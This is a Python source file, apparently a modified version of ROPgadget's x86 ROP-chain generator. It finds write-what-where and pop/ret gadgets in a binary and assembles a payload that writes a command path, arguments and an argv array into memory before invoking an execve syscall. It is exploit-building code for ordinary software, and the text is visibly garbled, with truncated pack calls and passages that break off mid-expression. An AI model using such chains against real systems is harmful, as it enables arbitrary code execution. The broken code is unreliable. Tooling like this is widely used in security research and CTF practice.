#!/usr/bin/env python2 ## -*- coding: utf-8 -*- ## ## Jonathan Salwan - 2014-05-13 ## ## http://shell-storm.org ## http://twitter.com/JonathanSalwan ## import re from capstone import * import sys import math from struct import pack class ROPMakerX86(object): def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0): self.__binary = binary self.__gadgets = gadgets self.paddingLen = paddingLen self.outFile = outFile self.exec = exec # If it's a library, we have the option to add an offset to the addresses self.__liboffset = liboffset self.__generate() def __lookingForWrite4Where(self, gadgetsAlreadyTested): for gadget in self.__gadgets: if gadget in gadgetsAlreadyTested: continue f = gadget["gadget"].split(" ; ")[0] # regex -> mov dword ptr [r32], r32 regex = re.search("mov dword ptr \[(?P([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f) if regex: lg = gadget["gadget"].split(" ; ")[1:] try: for g in lg: if g.split()[0] != "pop" and g.split()[0] != "ret": raise # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return [gadget, regex.group("dst"), regex.group("src")] except: continue return None def __lookingForSomeThing(self, something): for gadget in self.__gadgets: lg = gadget["gadget"].split(" ; ") if lg[0] == something: try: for g in lg[1:]: if g.split()[0] != "pop" and g.split()[0] != "ret": raise # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return gadget except: continue return None def __padding(self, gadget, regAlreadSetted): p = b"" lg = gadget["gadget"].split(" ; ") for g in lg[1:]: if g.split()[0] == "pop": reg = g.split()[1] try: p = pack("EXEC PTR->ARG1 PTR->ARG2 ... \0 ## args = self.exec[1:] chunked_args = [] for arg in args: arg = arg + padding_len(len(arg)) * "!" print(arg) chunked_args.append(wrap(arg, 4)) print(chunked_args) # & ( "cat" \0 ) exec_addr = dataAddr # setup argv array # [ & "--run" \0 , & "--verbose" \0 ] # note that the null bytes may be written "earlier", when the string is not len % 4 == 0 arg_addr = [] acc_addr = exec_addr + len(command) + 4 for i, arg in enumerate(args): arg_addr.append(acc_addr) acc_addr += len(arg) + padding_len(len(arg)) + 4 # & ( [ ptr -> "cat" ] ++ arg_addr ) argv_addr = acc_addr env_addr = argv_addr + (len(args) * 4) + 4 del acc_addr ################### # WRITE EXEC PATH # ################### # write the command for i, chunk in enumerate(command_chunks): address = exec_addr + (i * 4) # write 4 char chunk of the command p += self.__write4bytes( address, bytes(chunk, "ascii"), dataAddr, popDst, popSrc, write4where ) # write null byte after exec path string p += self.__write4nulls( exec_addr + len(command), popDst, xorSrc, write4where ) ########################## # Write Argument Strings # ########################## for i, arg in enumerate(chunked_args): this_arg_addr = arg_addr[i] for j, chunk in enumerate(arg): address = this_arg_addr + (j * 4) # write 4 char chunk of the command p += self.__write4bytes( address, bytes(chunk, "ascii"), dataAddr, popDst, popSrc, write4where ) p += self.__write4nulls( this_arg_addr + len(args[i]), popDst, xorSrc, write4where ) #################### # Write Argv Array # #################### # write argv[0] = exec_addr p += self.__write4bytes( argv_addr, pack(' 11 for i in range(11): p += pack('